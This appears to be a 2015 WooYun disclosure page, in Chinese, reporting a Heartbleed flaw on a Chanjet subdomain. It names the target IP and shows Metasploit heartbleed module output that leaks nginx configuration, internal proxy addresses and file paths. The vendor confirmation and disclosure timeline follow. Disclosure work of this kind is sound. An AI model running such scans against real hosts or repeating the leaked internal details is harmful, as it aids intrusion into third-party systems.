当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116915

漏洞标题:畅捷通子站存在心脏出血漏洞

相关厂商:畅捷通

漏洞作者: 路人甲

提交时间:2015-05-29 12:31

修复时间:2015-07-13 15:46

公开时间:2015-07-13 15:46

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-29: 细节已通知厂商并且等待厂商处理中
2015-05-29: 厂商已经确认,细节仅向厂商公开
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开

简要描述:

~

详细说明:


http://58.83.201.134/
58.83.201.134

[*] 58.83.201.134:443 - Printable info leaked: Ug;)kwd&{%; df"!98532ED/Ant: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8{l78s]J>C)|CNPCfH.<(qVV:0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~I42#`bfQ@lreturn403P@{D@Hx}Hlocation~.*.*$PxXxp!"#x###P$h$]$'FX8=vM```0u0ud<H@@'(%@p'``` @ H@P0XR0&x}H]''''&'@@@Hx}H``` @ Hx}H``` @ hH````Rj`Rj@x(Hx}HHx}HERCP<0^99Ux$$]indexindex.jspindex.htmlindex.htm% $%$%%&hCproxy_set_headerHost$hostX& "&(&&&Hproxy_set_headerX-Forwarded-For$remote_addrproxy_passhttp://127.0.0.1:6666P'`'127.0.0.1:6666ID3''P'00'serverH()*p/::;p+- .8.H.x.../P/003H5H7(9:;x;;;P<h< 0(` X8=vM```0u0ud<H@8'XB@hO=,x}Hx}Hx}H1Hx}Hx}Hx}H<Hx}Hx}H``` @ SH0YVWZUx}H@@@Hx}H``` @ Hx}H``` @ h(H````Rj`Rj@x(Hx}HHx}Hlisten80server_namevoice.csp.chanapp.comlocation~.*\.svnH(< >@@@@(A8ApAAB BDFHJHLpLLMHMMM<(N< X8=vM```0u0ud<H@'XB@hN``` @ SH0YVWZUx}H@@@Hx}H``` @ Hx}H``` @ h(H````Rj`Rj@x(Hx}HHx}HERCPAn0^9.svnUMN<return403@h@location~.*.*$indext80@@ N{0@ {0@!mpMOpQHxUOhOxSOOSEHTs {jgH%j/H{jlHB?p{j>Hb{jSHO+QFQQ QTUW/opt/nginx/conf//opt/nginx//opt/nginx/conf/nginx.conf PQ@`QPjkpXpX] pX pX(X pXEHgH$lH<>H#H[EHTs {jgH%j/H{jlHB?p{j>Hb{jH{jsH/{jxH9/|j}H88|jsH(`xxHTT}H13CTxSHhO`@EHTs {jgH%j/H{jlHB?p{j>Hb{jH{jsH/{jxH9/|j}H88|jH`|jHg|japp-moni01-p-vnetzHY9UW O9HMG~\)h065A!O!YW0<CjD|{GclTX,\](OYYYZ!ZoZZZuserwwwwwwworker_processesS24worker_cpu_affinitY8OP0100hZpO00000bpOP0.0.0.0:80@@s~ O\\\000000000000010000000000c000000000000100000000000000000000001000000000000000000000010000000000000000000000100000000000000000000001000000000000000000000010000000000000000000000100000000000000000000001000000000000000000000010000000000000000000P"[?xyyZZ\\4\N\h\\\\\\_____HCHVsH-CsHa000100000000000000000000000100000000000000000000001000000000000000000000010000000000000000000000100000000000000000000000,H`H` @K`PP&```KXX&aa,Q>+H useepollworker_connectionsn51200_httplengaaHdePkPnKK??) b bB{0.0.0.0:443phOh(nnnnooHoooqsuwy@{{|0~`~~~xC OG8; @`8 O@pXO:O:O@O;O;O@OX/d @hBhhKK)iiXX=fii`K0jZZ j jiKxmxmhjhjjjKK``xkxkqkaEiBssl_clie(l,lHlHlC - PCCKllllK`V`VmmlQ~C CCmmPCCC" "K0ni n nmK  ihnhny+nnKoxoxo@oKhhoo1PpPpKppppKDDqq[m,l[P@sbx3(r(rKsooXrrKK00XrrprK0*0*X8s8s@WssKXt@Y@YXHtHttK m mX'tt u u@HKu@@uuhuKuuPP xvxvKwhvvvKh@w@wwwK`xHHPxPxxKxx(y(yHKyPPyypyK]]yy@szzK{hp{{zK @ @hpH{H{bYubnu6ST{{1@Kh|ww_X|X| |K88_||x31Ex3FEP0}0} O} K}FF0}}x}K0}}H 6`,l[P@sbx3H(+.xaArH{K`K`PPrHCrHsHrHrHKphh``(K(+<(+<e.app-derHC 88text/x-componenthtcHimage/pnK>>H(KH(.?rHv@&rH{sHSk'xe :tHlrHhK XAXAH(KHqHqH(XXAtHHion/rtfrtfectCsHKxhh0Ku2rHv@&rH@@sHSk'xsHe :KKxA6xX60sHJ*UH<sH*UPPm7X8TsH3XKK77KKhKhKaa0sH0ion/x-x5Ypemcr<sHCK8``^((KH+H+^ppAQAgA|AA  `sH`CK00>h>>00KK>xx>&>,`00>1PPKP.P.>8hB"ThB7ThBKThB\T((NHtypeapplication/octet-streamcharsetutf-8KUU>CKK>VpK>^88}iH.viHC/H)wH@FBwHETatusrded0?@@M(Hx}HHx}Hlisten80server_namecommon.csp.chan!?@x(@@HTTP60(kp>7D&C`980x}H(p0p&MG~\hgUgUVp/tpPcFxO.C$@'`.6$content-typeingtpriH@<H``` @ HP(x}H@@`80@(p@@@0t0&0`0p@@0x}Hn(H9/myadmin/scripts/setup.php'}/0x$]?0N~RH````Rj`Rjaccept accept-languageaccept-encodinghostconnectionj4DDD5D(DDhj@XX6Fh0hjIF[FKfFIF+RFJFJFfH66MFPCPXj.@`.HrD4647510.17.5.20080e/SCRIPT_FILENAME/usr/local/nginx/html/myadmin/scripts/setup.phpQUERY_STRINGREQUEST_METHODGET
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(openssl_heartbleed) >

漏洞证明:

~

修复方案:

~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-05-29 15:45

厂商回复:

感谢您对我们的关注和支持,该问题存在,我们正在修复。

最新状态:

暂无